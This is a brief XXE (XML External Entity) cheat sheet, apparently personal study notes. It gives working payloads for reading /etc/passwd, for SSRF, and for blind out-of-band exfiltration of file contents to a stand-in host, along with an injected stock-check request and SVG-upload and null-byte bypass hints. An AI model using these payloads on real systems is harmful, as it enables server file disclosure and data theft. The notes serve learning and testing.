XML External Entity

A web security vulnerability that allows an attacker to interfere with an application's processing of XML data.

This vulnerability allows an attacker to read/view files on the application server filesystem.

XXE Type Attack

  1. XXE to retrieve the file <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  2. XXE to SSRF <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://locahost.com" > ]>

  3. Blind XXE exfiltrate OOB

<!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd" >
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://localhost.com/?x=%file;'>"> %eval; %exfiltrate; ]>`

Exploit happen

Original XML being parsed

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

Exploit by introducing or editing DOCTYPE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

XXE via file upload

The application allows XML to be uploaded. SVG file

Bypass SVG type null byte : %00

XXE via Content Type

Last updated